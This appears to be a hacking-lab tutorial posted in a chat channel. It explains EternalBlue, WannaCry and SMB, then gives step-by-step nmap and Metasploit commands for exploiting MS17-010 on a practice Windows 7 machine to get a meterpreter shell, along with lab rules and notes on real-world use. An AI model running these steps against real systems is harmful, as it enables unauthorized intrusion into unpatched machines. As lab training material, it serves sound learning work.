#intermediate

Introduction to EternalBlue & WannaCry Ransomware

We'll learn how to exploit this vulnerability in #advanced section.

In 2017, the US National Security Agency (NSA) found a vulnerability in the SMBv1 protocol. It allowed an attacker to execute their code without the user noticing anything. When one device got infected, the hacker could gain access to the whole network and every device connected to it.

This exploit was called EternalBlue. A hacker group called the Shadow Brokers allegedly stole it from the NSA and leaked it online in 2017. Microsoft released an update to patch the vulnerability, but only a month after that, the WannaCry ransomware broke out. This massive attack affected almost 200,000 Windows devices across 150 countries. It encrypted all data on the victim’s computer and demanded a ransom in Bitcoin. Eternalblue exploits 3 windows bugs to achive Remote code execution

Wrong Casting Bug • Wrong Parsing Function Bug • Non-paged Pool Allocation Bug

#beginner

What is the SMB Protocol?

Even if you haven’t heard of the SMB protocol, millions of people use it every day.

The Server Message Block (SMB) is a network protocol that enables users to communicate with remote computers and servers — to use their resources or share, open, and edit files. It’s also referred to as the server/client protocol, as the server has a resource that it can share with the client.

Important SMB implementations include

CIFS • Samba • NQ • MoSMB • Likewise • Tuxera SMB

SMB requires network ports on a computer or server to enable communication to other systems & it uses either port 139 or 445.

Port 139 • SMB originally ran on top of NetBIOS using port 139. NetBIOS is an older transport layer that allows Windows computers to talk to each other on the same network.

Port 445 • Later versions of SMB (after Windows 2000) began to use port 445 on top of a TCP stack. Using TCP allows SMB to work over the internet.

Today we're starting the #advanced section. We'll go through every step-by-step process to hack into our first machine. After we finish, the next day, the machine will be live. It's IP and the time to practice will be published. Before we start here's a quick go-thru of our terms & conditions.

#rules

Users are only authorized to hack machines that have been deployed & not any of other device in same network.

Users must not distribute any malicious material to other user such as malware through the upload functionality, or through any other means.

User must abstain from any unlawful, inappropriate and abusive use of the content and the services provided on this server at all times, in accordance with the existing legislation, and respect the intellectual property rights.

Users are not allowed to target or attack other users.

Vamos a divertirnos un poco

[Download] Openvpn configuration

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-1] Connect to our network

sudo openvpn <openvpn-config-path>

Above step is important otherwise you won't be able to access any machines. In real world this is same as being connected to same wifi as the target device

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-2] Scanning for open ports

nmap -sV -A <machine-ip>

Explaination

-sV: Probe open ports to determine service/version info

-A: Enable OS detection, version detection, script scanning, and traceroute

[Result Analysis]

Machine has open port 445. Means it can be vulnerable to eternal-blue.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-3] Scanning for ms17-010

nmap -p445 --script smb-vuln-ms17-010 <machine-ip>

Explaination

In the command above we used nmap and a NSE script called "smb-vuln-ms17-010", in order to identify devices affected by the ms17-010 vulnerability.

-p445: This indicates the port that we want to scan. Here we only scan port 445 which is the smb file sharing port.

[Result Analysis]

State: VULNERABLE indicates that machine is vulnerable to eternal-blue.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-4] Run metasploit & search for eternal-blue exploit

msfconsole

search ms17-010

Explaination

msfconsole is used to run metasploit

search ms17-010 returns all available exploits for eternal-blue

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-5] Use eternal-blue exploit

use exploit/windows/smb/ms17_010_eternalblue

Explaination

'use' command is used to select the module that we want to use

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-6] Set remote host

set RHOSTS <machine-ip>

Explaination

'RHOSTS' is the Remote Host IP. It should be set to the IP of victim machine that we are going to attack. In my case it is 10.10.34.99. For you, it will be the IP of live machine or any other vulnerable machine that you want to exploit.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-7] Finding out LHOST

ifconfig

Explaination

Execute 'ifconfig' command in new terminal to find your LHOST. If you're on windows, use 'ipconfig' in cmd. The IP corresponding to inet in tun0 interface is the LHOST. For me it is 10.6.9.212.

Here we used tun0 interface as we're connected to same network as target device via openvpn tunnel. In real world attack you would use wlo1 or ethernet interface when connected to a wifi or LAN respectively.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-8] Set localhost in metasploit

set LHOST <your-public-ip>

Explaination

LHOST is used to start a listener on a specific interface on your machine.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-9] Exploit

exploit

Explaination

We use 'exploit' or 'run' command to perform the exploit.

[Result Analysis]

After executing the exploit, if we see 'WIN' it means we successfully exploited the machine and we should have a meterpreter shell opened. Sometimes this exploit fails even if everything is done properly. Don't worry about that, metasploit takes care of it & automatically runs the exploit again. If it still can't exploit machine, you're missing something & you should instead be reading more about the eternal-blue exploit.

[Troubleshoot] If you see 'FAIL'

Make sure your device & victim pc is on same network.

Eternal-blue works only for windows versions upto windows 7. There's an exploit for windows 8 as well but most of the time it doesn't work.

Cross-check the lhost and rhosts.

Port 4444 should not be in use by some other application or process.

Any doubts @Revnexbot

Congratulations!

You just learned eternal-blue exploit. Tomorrow the machine will be online for practice & IP address will be given 10 minutes before time. For time and other details see below.

Time: 4:00 pm-5:00 pm IST

[Target Info] Machine-1
OS: Windows 7

Vulnerability: MS17-010 • Eternal Blue

Exploitation method: Easy

[Requirements]
Nmap • Metasploit • OpenVPN • OpenVPN Config • Brain

[IP Address]
Will be published tomorrow at given time. Target machine will be accessible with that ip exactly for 1 hour from given time. Read #rules before you start.

Date: 1 August 2020 challenge starts at 4:00 pm IST.

Queries & suggestions @Revnexbot